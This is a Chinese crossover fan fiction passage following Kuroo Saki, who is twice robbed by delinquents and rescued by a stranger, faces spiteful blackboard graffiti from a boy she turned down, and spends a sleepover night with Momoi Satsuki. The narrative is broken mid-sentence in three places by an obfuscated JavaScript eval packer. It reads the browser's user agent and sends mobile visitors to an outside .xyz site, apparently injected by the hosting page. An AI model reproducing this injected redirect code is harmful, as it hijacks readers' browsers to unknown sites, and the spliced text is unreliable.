绿间真太郎会推着眼镜,一本正经地分析今日星座相位,黑尾纱季则会托着腮帮子,时不时发出原来如此的感叹。 然而,生活的波澜总是突如其来。 就像晨间占卜里说的“水星逆行期要特别注意人际关系”一样,黑尾纱季最近确实遇到了一些变故。 由于近期她的好友孤爪研磨因祖父离世而不得不返回家乡,这意味着她将在一段时间内独自面对上下学的路途。 黑尾纱季为此多少有些不习惯。 从幼儿园开始,她就一直和孤爪研磨形影不离地一起上下学。每天早晨,研磨都会准时在她家楼下等她,放学后,两人总是一边分享着当天的趣事,一边慢悠悠地走回家。 现在突然要独自一人,她总觉得书包似乎比平时重了许多,脚下的路也比往常漫长。 更让人不安的是,学校周边的治安状况好像日益恶化,最近几周,不良少年勒索学生的事件时有发生。 黑尾纱季就曾亲眼目睹过一次:一个低年级的男生被几个染着夸张发色的高中生围在墙角,最后哭着交出了钱包。 虽然她并未明确表达过这些担忧,但桃井五月与黑尾铁朗对黑尾纱季的忧虑之情溢于言表。 桃井五月深知黑尾纱季外表柔弱——她那纤细的身材和总是微微低垂的眼帘,极易成为不良少年的目标。 于是在一次午休时,桃井五月认真地提议:“纱季,在研磨回来之前,我和阿大一起送你回家吧。” 她说着指了指不远处正在往嘴里塞饭团的青峰大辉:“别看阿大那个样子,好歹也有那高大威猛的外表,和一张略显凶狠的脸,或许能震慑那些心怀不轨的不良少年呢。” 与此同时,黑尾铁朗也提出了另一个方案。 某个训练结束后的傍晚,他一边擦着汗一边对妹妹说:“纱季,要不要试试每天早上和我一起晨练?放学后你可以先去排球教室等我,结束以后我们一起回家。” 面对两位好友和哥哥的好意,黑尾纱季超级感动。她 然而看着桃井五月真诚的眼神,又望了望哥哥被汗水浸湿的T恤,最终还是摇了摇头,她不想因为自己的原因给他们带来不必要的麻烦,于是以一种半开玩笑的口吻拒绝了他们的好意。 “谢谢你们啦,不过我应该能应付的,我的运气,应该还没有差到在这种刚落单就被挑中的程度吧......” 就这样,黑尾纱季依然坚持独自上下学。 只不过每天早上在听完晨间占卜以后,她都会双手合十,对着镜子里的自己默默祈祷:“今天也请保佑我平安无事。” 她还会特意检查书包里是否装着当天的幸运物,有时是一枚特别的发卡,有时是一个小巧的挂饰。 然而明明这几天都毫无波澜地度过了,可命运似乎总爱开玩笑。 就在她以为一切都会和原来一样平安无事的时候,一场突如其来的遭遇打破了她的平静。 那天早上,碧蓝如洗的天空一如既往地清澈,阳光温柔地洒在石板路上,熟悉的小巷两边盛开着大捧绚烂的无尽夏,蓝紫色的花朵在微风中轻轻摇曳,散发出淡淡的清香。 一切都像往常一样宁静美好,黑尾纱季甚至轻轻哼起了昨天广播里听到的歌。 可惜很快,这份宁静就被打破了。 五个身影从巷子转角处晃了出来,他们染着夸张的发色,或梳着张扬的飞机头,脸上全都挂着不怀好意的笑容。 典型到不能再典的五个不良少年将黑尾纱季团团围住,其中一个还故意用脚踢飞了路边的小石子。 ......竟然真的出现了! 面对这突如其来的威胁,黑尾纱季只觉得心跳瞬间加速,一股寒意从脚底直冲头顶,她的手不自觉地攥紧了书包带子,指节因为用力而微微发白。 难道是今天没有带幸运物的问题?冷着脸的黑尾纱季如是想着。 晨间占卜明明说今天的幸运物是大象玩偶,但她觉得带着那么大的玩偶上学太引人注目,就只带了一个大象图案的钥匙扣,早知道这样就把那个大的小象玩偶带上了,以后还是不要怕麻烦。 但是现在这种情况应该怎么处理呢—— 黑尾纱季少见的有些害怕。 幼时被幼儿园老师带走暴打的经历不自觉地浮现在脑海,那时的无助感与现在如出一辙。 但更多的时候,她的脑海里正在急速飘过一排弹幕般的头脑风暴: 不良少年们不是基本上都不勒索女孩子吗!怎么这些人都这么没品啊!不知道不能欺负女人(孩)吗! 不过他们都欺负小孩了,果然电视里那种不欺负老人女人小孩的情节都是假的,现实中的不良少年根本不会讲究什么江湖道义。 板着脸的女孩努力让自己保持冷静,嘴唇抿成一条直线。 脑海中迅速闪过无数个应对方案:大声呼救?可能会激怒他们;转身逃跑?恐怕跑不过这些男生;假装认识附近的大人?可这条小巷平时很少有人经过...... 最终她还是选择了最直接、也最无奈的一种——交出自己的零钱包。 她动作缓慢地从口袋里掏出那个绣着小猫的钱包,尽量不让手抖得太明显。 “这才乖嘛。”领头的男生一把抢过钱包,吹了个口哨。 他的同伴们发出刺耳的笑声,其中一个还故意撞了一下黑尾纱季的肩膀。 等眼前这些不良少年们掂量着她的钱包,嬉笑着”中午可以加餐之类的话离开,直到完全消失在视线尽头,黑尾纱季才慢吞吞地动了动已经发麻的脚。 她低着脑袋,像是要把自己藏进校服领子里一样,默默地往学校走去。 还好昨天发了零花钱以后去了书店,把感兴趣的书都买了。 她努力往好的方面想,现在钱包里只剩下一点零钱而已,只是可惜了今天本来打算放学去买的牛奶面包......那是她最喜欢的那家面包店每周五才有的限定款。 越想越难过,最后黑尾纱季的脚步也停了下来。 眼泪不受控制地在眼眶里打转,终于吧嗒吧嗒地掉下来,在地上留下深色的圆点,她用手背胡乱抹着脸,却怎么也止不住泪水。 可怜巴巴的小姑娘干脆蹲在地上,把脸埋进臂弯里小声啜泣。 她一边发泄着委屈,一边又自己安慰着自己:不过是运气太差而已,明天一定会更好的。 可这种时候又让她想到了孤爪研磨。 如果研磨在这里的话会怎么样呢?大概会面无表情地说要报警吗,或者直接用那双猫一样的眼睛把不良少年瞪走吧。 这样想着,黑尾纱季倒是把自己逗笑了,虽然笑容里还带着未干的泪痕。 等她总算是消化完这些情绪以后,黑尾纱季从书包侧袋掏出手帕,仔细地把脸擦干净。 又拍了拍脸颊,小声对自己说了句加油,才像个没事人一样继续往学校走去。 黑尾纱季这一次的伪装很成功。学校里没有人看出来她的情绪不太好,就连一向亲密的桃井五月都没发现好友有什么不对劲。 午休时她们还像往常一样分享便当,桃井兴奋地说着昨晚看的电视剧剧情,黑尾纱季配合地点头微笑,只有她自己知道嘴里的饭菜尝不出什么味道。 下午的社团活动时间,黑尾铁朗来教室找她时也没察觉异常。 他只是照例叮嘱妹妹记得去排球部等他,然后就匆匆赶去训练了,黑尾纱季望着哥哥离去的背影,欲言又止,最终还是什么都没说。 本来以为事情就这么过去了。 放学后,黑尾纱季特意绕开了早上那条小巷,选择了另一条稍远的路。 她整理好心情,背着包往家走,时不时踢一下路边的小石子转移注意力,可谁知走到离家不远的一个巷口时,竟然再次出现了不良少年的身影。 唯一的区别是,这一次,他们因为人数更多,而更显得气势嚣张。 七八个穿着改短校服的男生堵在巷子口,其中就有早上那几个人,他们看到黑尾纱季,立刻露出了捕食者般的笑容。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473316|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又见面了,小妹妹。”为首的那个不良少年头发保养得不算好,虽然染成了黄色但看上去更像是一堆深秋时节的枯草,他脸上带着不怀好意的坏笑,亮着精光的眼睛直勾勾地盯着黑尾纱季。 “......”黑尾纱季深吸一口气,冰凉的空气灌入肺部,让她稍微清醒了些。她努力让自己保持冷静,心里却充满疑惑,为什么又被同一波人找上?明明早上已经交出了自己的零钱包......难道就是因为太顺从了,所以才被当成容易欺负的目标? 她突然意识到,如果再次选择妥协,只会让这些人更加肆无忌惮,就像那些野生动物纪录片里演的,一旦表现出软弱,就会被群起而攻之。 眼看这群人离自己越来越近,他们的言语也越发露骨危险。 有人说着今天可不会这么简单放过你了,还有人吹着下流的口哨。 黑尾纱季终于鼓起勇气,正准备大声说我要报警了的时候,却突然感觉有一只温暖的手轻轻放在了她的背后。 ?! 黑尾纱季吓了一大跳,瞬间转头望向了身后。 突然出现在自己身后,并身后扶住自己后背的,是一个比自己高一点的姐姐。 黑尾纱季最先看到的是她的眼睛,犹如绿宝石一般清澈明亮的眸子眼中似乎多了些怒气,此时这个姐姐面露不快,望着那群不良眉头紧皱。 ......这是从哪里跳出来的姐姐!黑尾纱季不过是怔愣了一瞬,可她知道多一个人出现在这里只会让对面的不良多一个勒索的目标,对面的那群不良只是盯上了自己,这种时候果然还是要让这个无辜的姐姐赶紧离开这—— “姐姐,怎么了啊?” “为什么突然拐进来?” 黑尾纱季瞪大了眼睛,看着这个姐姐的身边又探出了一个脑袋。 这个和自己差不多高的男孩子也有一双清浅的眼睛,眸色与正拍了拍自己肩膀,用目光温柔的安慰着自己的姐姐一模一样,清秀的五官也有七八分相似,一看就是一对亲姐弟。 “你们是哪个学校的?” “勒索这么乖的小妹妹这种事也做得出来?真是不知廉耻诶。” “真是把不良的脸面都丢得干干净净,真让人作呕。” 黑尾纱季听到这个姐姐这样平静的说着。 “......” 闻言,黑尾纱季的眼睛瞪得更大了,而对面的那群不良却是越发愤怒,弹舌怒嚎着你又是从哪里冒出来的女生是想挨打吗巴拉巴拉。 黑尾纱季也吓了一跳,眼看七八个初中不良满脸燥郁的撸起了袖子,她几乎是下意识的扯了扯身边姐姐的衣角, 情况越发危机,但黑尾纱季目光的却越发坚定,她心中已经打定主意,这种时候果然还是说报警了比较好吗,至少绝对不能让这个出现在这里的姐姐被不良们盯上。 可这个黑发的女孩却从她的手中抽回了袖角,她的手...放在了自己的脑袋上?黑尾纱季感受着她轻揉自己脑袋的动作,动作温柔的就像是在安抚一只害怕的猫咪,又让她想到了自己的哥哥,黑尾铁朗也总这样,呲牙笑着揉自己脑袋。 “别怕。”她对自己说。 好像真的就没有那么害怕了。 黑尾纱季再次望了她一眼,却发现她已经将自己的书包递给了她的弟弟。 “千冬冬,帮我看好包哦,顺便保护好这个小妹妹。”她嘻嘻笑着,似乎完全不将已经气到红温的不良放在眼中,明明七八个不良就要冲上来的气势比早上更吓人。 她的弟弟好像也不害怕的样子,黑尾纱季还能听到站到自己身边男孩气鼓鼓的小声抱怨:“又给我拎包,明明我也能帮你解决那几个恶心的不良啊,姐姐真是!自己耍帅!” “混蛋!” “竟敢不把我们放在眼里!!!!” 夕阳的温柔余晖同样洒在这条小巷。 等接过自己早上被抢的零钱包,黑尾纱季再次回过神的时候,那个低头对自家亮着星星眼又强装镇定抱着两人书包的弟弟嘻嘻笑着,又狠狠揉他脑袋的姐弟两人已经走远了。 “...!!” 好...好帅气。 好想找她问问联系方式啊啊啊怎么办! 21.青春期 自那次不幸的同日两次打劫经历后,黑尾纱季的生活悄然发生了变化,她变得更加谨慎,这份细微的改变没能逃过孤爪研磨的眼睛。 他从老家回来后,立刻察觉到了黑尾纱季的不同,她走路时会避开拥挤的地方,放学路线也选择了更明亮的道路。 他默默记在心里,没有点破。 与此同时,黑尾纱季始终惦记着寻找那位在危难时刻伸出援手的小姐姐,她四处打听,从便利店到商铺都询问过,但小姐姐的身影始终未能再现。 频繁的打听行为最终还是被哥哥黑尾铁朗发现了。 得知事情经过后,他气得几乎拍碎茶几,但看到妹妹似乎没受太大影响,怒火才渐渐平息,他们发动了所有关系网寻找恩人,却始终杳无音讯。 转眼间,四年级的春天到来。班上女生们开始注重形象,讨论唇彩和发型。黑尾纱季却依然保持随性,和孤爪研磨在角落里看书打游戏,被同学们称为“”蘑菇组“”。 可以说如果没有桃井五月的邀请,黑尾纱季或许真的会成为班级里那个默默无闻的存在。 桃井就像一束阳光,总是能把她从安静的角落拉出来,融入热闹的人群,而黑尾纱季也渐渐学会了欣赏这种热闹,虽然她依然更喜欢安静地看书。 然而,当女生们开始萌发对爱情的憧憬时,最感困扰的莫过于黑尾铁朗了。 情人节前夕,黑尾铁朗的警惕性达到顶峰。 当看到妹妹和妈妈带着巧克力原料回家时,他连珠炮似的发问终于引爆了黑尾纱季的情绪。 “够了!”她放下购物袋:“我现在的目标是上东大,没心思考虑其他事,再说,我身边的人你都认识!” “就算我真的和谁交往又怎样?哥哥你管得太多了!我也需要自己的空间!”她的眼眶微微发红。 看到哥哥欲言又止,她继续道:“最后,哥哥你太闲了,明年就要升学考试,我要去帝光中学。你不想一起吗?帝光的分数可不低。” 这番话让黑尾铁朗无言以对,母亲黑尾明美拉着他谈心后,才走进厨房指导女儿。 “哥哥他怎么样?”黑尾纱季迫不及待地问,眼神闪烁。 “他有些委屈。”黑尾明美轻声说:“只是担心你被抢走。” “我又不是玩具。”黑尾纱季嘟囔着,开始制作巧克力,虽然自称烹饪天才,但还是有几块不完美的被她偷偷吃掉。 包装好巧克力走出厨房时,黑尾铁朗正期期艾艾站在门口,她笑着把最上面那份扔给他:“情人节巧克力。” 黑尾铁朗呲牙笑起来,乱糟糟的头发让他看起来有点傻。 黑尾纱季也忍不住笑了。 ...... 情人节的风潮尚未完全消散,桃井五月便迫不及待地拉着黑尾纱季踏入了商场的化妆品与饰品区大采购。 “五月,你真的觉得我们现在就开始捣鼓这些不早吗?“”黑尾纱季略带无奈的声音响起。 她的头上已经被桃井五月强行戴上了两个色彩斑斓的发卡,而此刻,第三个——一个装饰着黄色波点蝴蝶结的发卡,正被桃井五月以极其认真的态度比对着,准备为其找到一个最佳的位置。 “小纱季,你这是对时尚领域的疏忽哦!”桃井五月调整发卡的位置:“你没发现吗?班上好多女生现在上课都开始偷偷涂唇蜜了呢。” 最终,她满意地拍掌决定:“完美!我们纱季果然戴什么都超级可爱!” 黑尾纱季无奈地笑着,将头上的发卡一一取下,准备打包带走,对于好友的审美眼光,她向来都是无条件信任的,尽管她自己平时对这些并不怎么在意。 “不过话说回来。”桃井五月弯腰从货架上又挑选了几枚可爱的发卡,眼神中闪烁着八卦的光芒:“班上的高木同学是不是约你明天去天台见面啊?” 黑尾纱季正在查看一款发卡的价格标签,闻言手指微微一顿。她轻轻叹了口气,点了点头:“嗯,昨天放学时说的。” 她确实收到了高木同学的邀请,但对此她并没有太多的期待或紧张,更多的是困惑和不解,高木同学在班上并不起眼,他们之间的交流也仅限于收发作业时的几句寒暄。 注意到好友的反应,桃井五月笑了起来:“不要担心啦,如果你需要的话,我陪你一起去。” 她眨眨眼,露出一个狡黠的笑容:“我可以躲在楼梯口,随时准备英雄救美!” “QAQ我太需要你了,五月!”黑尾纱季感激地握住桃井五月的手:“我也不知道他为什么会突然约我,明天下午还有新井老师的新书发布会呢,我最近超爱她的书!《星空下的约定》我都看了三遍了!” “安啦安啦。”桃井五月轻松地安抚着好友:“应该是告白之类的啦,高木同学最近总是偷偷看你,上次体育课你跑步时,他还特意绕到操场另一边去呢。” “......应该不会吧。”黑尾纱季还是有些迟疑。虽然周围的同学们现在经常谈论这些事情,但当它真的轮到自己身上时,她反而觉得有些不真实。 爱情小说里的情节和现实毕竟是有差距的。 桃井五月拍了拍好友的头:“反正不管怎么样,先做做准备嘛,万一真的是呢——” 她拖长音调,从货架上取下一支淡粉色的唇膏:“试试这个?超级自然的颜色,老师都看不出来哦!” ...... 次日中午,天台的风很大,黑尾纱季下意识地拢了拢衣领,她紧紧握住桃井五月的手,目光落在对面那个弯腰告白的男孩子身上,一时间陷入了沉默。 高木同学低着头,声音有些发抖:“黑、黑尾同学,我从上学期就开始喜欢你了......你看书时的样子特别好看......” 他的耳根红得几乎要滴血,手指紧张地揪着校服下摆。 虽然事先已经有过心理准备,但当那一刻真的到来时,黑尾纱季还是感到有些手足无措。 她深吸一口气,按照之前在心中预演过无数次的剧本,尽量温和地说道:“谢谢你的喜欢,高木同学,但是我现在的重心都在学习上,所以......” 她委婉地拒绝了男生的告白,然后和桃井五月手挽手离开了天台。 “没想到五月说的是真的!“”回到教室后,黑尾纱季拍了拍胸口,脸上还残留着几分惊吓过后的余悸。 她从未想过自己竟然会被告白,更没想到对方的告白词竟然是因为觉得她平时看书的样子很可爱。 这个理由让她有些哭笑不得——难道不是桃井五月那样活泼可爱的女生更受欢迎吗? 孤爪研磨此时还在座位上,正专注地打着游戏。 他有些疑惑地看了一眼和平时行动不太一样的黑尾纱季两人,本想开口询问,但在注意到低垂着头跟在她们后面进来的高木同学后,瞬间明白了一切,眼里闪过一丝了然。 “他跟你告白了?”孤爪研磨重新打开了一个新游戏,头也不抬地问道。他的语气平淡无奇,游戏机发出轻微的按键音。 “啊?”黑尾纱季一开始没反应过来,茫然地应了一声。 待她回过神来后,坐回座位上叹了口气:“你别和我哥说,之前情人节的时候他就有些神经兮兮的了。” 孤爪研磨点了点头,继续沉浸在游戏的世界里,而黑尾纱季则掏出一本书,默默地看了起来。 她本以为这件事情就这么结束了,却没想到很快她就迎来了国小时期的第一□□击。 第二天一早,黑尾纱季和孤爪研磨像往常一样来到学校。 刚走进班级,她就发现班里的同学们都以一种异样的目光注视着自己,那些目光中有好奇,有同情,还有几分看好戏的意味。 还没等她去询问发生了什么事情,孤爪研磨就先发现了黑板上的涂鸦。 他的脸色瞬间阴沉下来,快步走向讲台。 黑板上,有人用歪歪扭扭的字迹写上了黑尾纱季和孤爪研磨的名字,旁边还画着一些乱七八糟的图案——心形被划上大大的叉,两个小人手拉手的图案被涂改得面目全非。 这些图案虽然简单粗糙,但却透露出一种难以言喻的恶意,像一把无形的刀,试图割裂些什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478483|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 “谁画的?”黑尾纱季的脸色瞬间冷了下来、 这时,班里有些同学默默地将视线投向了窗边那个脸上写满得意的高木同学身上,他正斜靠在椅子上,嘴角挂着挑衅的笑容,与昨天那个害羞告白的男生判若两人。 这个昨天还诚恳告白的人,今天却仿佛变了一个模样,变得丑恶而陌生 。不知道他是受了什么刺激,或许是被拒绝后的恼羞成怒,或许是为了在同学面前挽回面子,竟然会做出这样的事情来。 正当气氛僵持不下时,桃井五月和青峰大辉也走进了教室。一看到孤爪研磨正在擦黑板上那些乱七八糟的东西,再看看与高木同学对峙的黑尾纱季,桃井五月一下子就明白了发生了什么事情。 她大步走到高木同学的桌子前面,用力地拍了拍桌子,发出砰的一声巨响:“你有病吧?!在这里发什么疯!” 高木同学被这突如其来的质问吓了一跳,但很快又强装镇定:“关你什么事?我又没写你名字。” “你——”桃井五月气得握紧了拳头,正当她准备再骂些什么的时候,黑尾纱季收回了视线,她走过去拉住好友的手,发现五月的手心全是冷汗。 “回座位吧,五月。”黑尾纱季的声音出奇地平静,但熟悉她的人都能听出其中压抑的怒火。 “可是他——”桃井五月愤愤地回头,她有些激动地准备再说些什么时,却注意到青峰大辉已经接下了孤爪研磨擦黑板的工作,而孤爪研磨则走了过来。 他的脸色和黑尾纱季一样冷漠,看了一眼高木同学,然后孤爪研磨冷冷地说了一句:“你这张自卑的脸,喜欢她,真是一件让她丢脸的事情。” 这句话像一把利剑,直刺高木同学最脆弱的地方。 教室里瞬间安静得能听见针落地的声音,高木同学顿时愣在原地,脸上的得意之色瞬间被愤怒和屈辱所取代,脸色由红转白,又由白转青,精彩得像调色盘。 然而,黑尾纱季并没有理会他,她拉着桃井五月的手回到了座位上。 回到座位后,桃井五月还是有些生气,她噘着嘴说:“纱季你刚刚就该让我继续骂他!这种人就是欠教训!” “那种人,你反应越激烈,他只会心里更加得意。”黑尾纱季冷静地分析道,声音不大但足够清晰。 她从包里拿出一颗蜜桃味的糖果放进好友嘴里,自己也吃了一颗,糖果的甜味在口腔中弥漫开来,仿佛能够冲淡一切不愉快的情绪。 “可是就这么放过他吗?”桃井五月还是不甘心,牙齿把糖果咬得咯吱作响。 黑尾纱季慢条斯理地把书本拿出来放在桌子上,然后抬了抬下颌示意桃井五月看看周围人的表情。 同学们三三两两地聚在一起,不时对高木同学投去鄙夷的目光,有几个女生甚至刻意挪远了座位。 “表白不成就这么侮辱对方的人,你觉得在学校里会怎么样?”她的语气中带着几分嘲讽和轻蔑。 青峰大辉在一旁嗤笑一声,把擦黑板的抹布随手扔进水桶:“我觉得这种渣滓就该叫上你哥打他一顿。” 他活动了下手腕,发出咔咔的响声,眼神危险地眯起。 “那我们就理亏了,笨蛋阿大!”桃井五月恨铁不成钢地看了发小一眼。 说完后,她又小心翼翼地看了黑尾纱季一眼:“纱季不会觉得很生气吗?” 黑尾纱季望向窗外,嘴角勾起一抹淡淡的笑意:“生气肯定会生气的,不过研磨刚刚说的那一句也是我想说的,看到他现在真的很丑陋的样子,就觉得不生气了。” 她顿了顿,突然抱住好友的手臂,“再加上不是有五月在嘛!刚刚你冲上去的样子可帅了!” 说着,黑尾纱季抱着好友的手臂开始撒娇,仿佛刚刚发生的一切都只是一场微不足道的小插曲。 而桃井五月也被她的态度所感染,脸上的怒意渐渐消散,她揉了揉黑尾纱季的头发:“下次再有这种事,一定要第一时间告诉我!” 注意到黑尾纱季已经恢复了往日状态的孤爪研磨也松了口气,重新拿起游戏机 22.女生之夜 之前的告白风波最终还是不可避免地传入了黑尾铁朗的耳中。 当他得知妹妹与好友竟被如此恶意捉弄时,他气得快炸起来,同时,一股难以言喻的委屈也悄然滋生。 他不满于黑尾纱季对自己的隐瞒,无论是之前遭遇不良少年的勒索,还是此次的恶作剧,妹妹总是选择独自承受,不愿让他担心。 难道在妹妹心中,自己竟是一个难以信赖的人吗? 面对哥哥的质疑,黑尾纱季迅速施展出熟练的安抚技巧,轻声细语地解释着,只是不想让他太过担忧。 最终,在她承诺本周每天都为哥哥制作布丁的甜蜜诱惑下,黑尾铁朗的脸色终于由阴转晴。 这一幕,让黑尾纱季不禁暗自腹诽,自己似乎更像是这个家的姐姐呢。 “小黑他只是太过担心你了。”孤爪研磨对于这对兄妹的互动早已见怪不怪,他轻声解释道,“小时候幼儿园的那次事件给他留下了太大的阴影,从那以后,他就总是担心你会在他看不见的地方受到欺负。” 不过,这次的风波也并非全然无益,至少它让黑尾纱季与桃井五月的关系更加亲密无间。 两人甚至相约在周六一同前往桃井五月家过夜,这对于黑尾纱季而言,这种和女孩子一起过夜的体验还是第一次。 相较于女儿的忐忑不安,妈妈黑尾明美显得尤为兴奋。 “我们纱季也终于到了可以去朋友家过夜的年纪了呢!穿上那套新买的小熊睡衣怎么样?”她兴冲冲地站在女儿的房间,与女儿一同挑选着睡衣。 对于睡衣的款式,黑尾纱季并不太在意,因为每一件都深得她的喜爱。 她迅速敲定了这次的睡衣选择,并将刚烤好的小饼干打包好,准备一并送给桃井五月,由于桃井五月的父母此次不在家,她也就没有准备给他们的见面礼。 然而,毕竟是第一次去友人家过夜,黑尾纱季心中难免有些忐忑:“我是不是应该注意些什么呢?”她试探性地问道。 “我们纱季本来就是个有礼貌的好孩子,所以只需要做你自己就好了。”黑尾明美温柔地抚摸着女儿的长发,语重心长地说道,“真正喜欢你的人,不会因为你的刻意表现而喜欢你,同样,不喜欢你的人,也不会因为你的任何行为而改变对你的看法。我想,你的朋友也不会是肤浅之人,你们能成为朋友,一定是因为你这个人本身。所以,纱季,你无需刻意做什么,做自己就好。” 虽然黑尾纱季心里明白这些道理,但内心的忐忑依旧难以平息。 然而,敲门后看到好友推开门时候脸上灿烂的笑容,黑尾纱季的不自在暂时被忘之脑后,直到两人在桃井五月的办公室做作业的时候,看到好友一如既往地样子,黑尾纱季一直高悬的心才渐渐落地。 “为什么我们的睡衣晚会要先做作业啊!电视上演的可都不是这样的!”桃井五月一边抱怨着数学作业的艰难,一边痛苦地看着空白的国文作业。 埋头苦写的黑尾纱季头也不抬地回答:“大概是因为我们还是学生的缘故吧。不过,和五月一起写作业的效率确实很高。” 桃井五月把头枕在桌子上,委屈地撇撇嘴:“小纱季——我可以抄抄你的作业吗?” 黑尾纱季抬眸看了一眼撒娇的好友,提醒道:“上次小测的时候,五月的国文才刚刚及格哦,我当然不介意你抄作业,但前提是下次小测你的分数要比这次高。” “纱季你为什么这么严格呜呜呜呜。”桃井五月哀嚎道。 等到两人终于把作业挣扎着写完,窗外的太阳已经落山,只剩下最后一抹余晖洒在空中,多彩的云朵也渐渐被夜色吞噬。 桃井五月这才意识到该吃晚饭了,她小跑着下楼打开冰箱:“我们晚上吃咖喱和可乐饼怎么样?都是妈妈出门之前做好的。” “好呀,需要我做些什么吗?”黑尾纱季紧随其后跑进厨房。 沉吟片刻后桃井五月指挥道:“纱季你去倒饮料吧,不过家里只剩下可乐了。” 桃井妈妈的手艺确实非同凡响,咖喱炖得浓稠适中,里面的牛肉更是软烂入味,一勺舀下去,混着颗粒分明的米饭,简直是人间美味,炸得金黄酥脆的可乐饼也毫不逊色,虽然不是现炸的,但口感依旧令人赞叹。 看着对面埋头干饭的好友,黑尾纱季不禁开始思考为什么厨艺不能遗传。 回想起过去家政课上桃井五月冒着黑气的作品,她突然觉得面前的咖喱更加美味了。 晚饭后,两人打开电视开始挑选电影。 经过一番纠结后,她们最终决定观看宫崎骏的经典之作《千与千寻》。 一边欣赏着千寻在异世界的奇妙冒险,一边品尝着桃井妈妈白天烤制的小饼干,黑尾纱季不知不觉间吃了好多。 当她后知后觉地发现饼干已经被自己吃掉三分之二时,肚子已经撑得圆滚滚的了。 “五月,这个饼干真好吃啊。”黑尾纱季诚恳地看着好友,偷师的心思悄然萌生:“等你妈妈回来能帮我要一个配方吗?” 对于这个请求,桃井五月倒是毫不在意地大手一挥:“没问题!” 看到电影中白龙让千寻一直往前走不要回头的情节时,桃井五月感慨道:“呜呜呜真好啊,我以后也想要这样的男朋友。” “五月喜欢温柔的男孩子吗?”黑尾纱季好奇地问道。 好友疯狂地点头让她不禁有些遗憾。 虽然她自己没有谈恋爱的心思,但不影响她嗑周围的cp,在她看来,桃井五月和青峰大辉平时的相处更加甜蜜动人。 聊着聊着,两人的话题自然而然地转移到了女孩子们的恋爱话题上。 当被桃井五月问及自己的理想型时,黑尾纱季思考了许久却一无所获。 最后她斟酌了一下回答道:“大概就是好看的吧。” “那性格方面呢?”桃井五月不依不饶地继续追问。 “不要很强势的类型吧……唔,也不能太幼稚。”虽然想不到自己喜欢的类型是什么,但黑尾纱季能够明确地说出自己不喜欢的类型。 “我应该要到大学以后才会恋爱吧,感觉想象不出自己恋爱会是什么样子。”黑尾纱季总结道。 然而桃井五月却持不同意见:“小纱季只是现在还没有开窍而已啦,这只是一瞬间的事情哦,说不定等不到大学你就会遇到喜欢的人了呢~” “是吗?那如果我在大学前恋爱的话,我就请五月吃小蛋糕好了,算是某种意义上的借你吉言吧?”黑尾纱季开玩笑地说道。 “那就一言为定哦纱季!等你的小蛋糕!”桃井五月比了个wink,脸上洋溢着胜券在握的笑容。 …… 在桃井五月家度过了一个愉快而难忘的女生之夜后,两人聊得忘记了时间,最后都不知道是什么时候睡着的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490239|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天回家时,黑尾明美询问女儿昨晚的体验如何,黑尾纱季沉思片刻后竖起大拇指:“超赞!” 下午时分,黑尾铁朗前往排球教室训练去了,而孤爪研磨则因感冒未痊愈而留在家里休息。 心疼好友独自在家的黑尾纱季拿起一本书就敲开了孤爪家的大门。 走进孤爪研磨的卧室时,果然发现他正坐在地上全神贯注地打着游戏,黑尾纱季露出一副“我就知道会这样”的表情。 “感冒还没好就坐在地上玩游戏没问题吗?”她找了个软垫放在床边坐下。 “没问题,已经好得差不多了。”孤爪研磨噼里啪啦地按着手柄上的按钮,屏幕里的战斗已经进入白热化阶段。 耸了耸肩后,黑尾纱季没再多说什么。两人在房间里各自安静地做着自己的事情享受着这份难得的宁静与自在。 等孤爪研磨结束这个阶段战斗稍稍松口气的时候,才想起来询问好友:“今天怎么想着过来了?” 此时黑尾纱季正沉浸在书中的精彩片段中,她头也不抬地说着:“想着你感冒还没好以为你一个人在家会无聊就过来看看你,结果阿姨在家,但是既然都来了就上来看看咯。” “哦,这样。”孤爪研磨从角落里拿出一袋薯片递给她:“吃吗?海苔味的。” “不要,会把书弄脏的。”黑尾纱季拒绝了。 卧室里随即响起了孤爪研磨咔嚓咔嚓吃薯片的声音,两个人都在做着自己的事情互不打扰舒服且自在。 然而这份安逸并未持续太久没过一会,楼下就传来了黑尾铁朗的声音,听上去像是在叫孤爪研磨下去练习排球。 “他感冒才好不能吹风。”黑尾纱季趴在窗台上朝着楼下的哥哥大声喊道。 像是才想起来好友感冒这件事,黑尾铁朗悻悻地抓了抓头发然后说了句“马上上来”。 黑尾纱季有些幸灾乐祸地看着好友:“看来哥哥是没有放过你啊,这是要一起来看排球比赛录屏的意思了。” 说完她便站起来伸了个懒腰:“那我就先回去了你们慢慢看吧。” 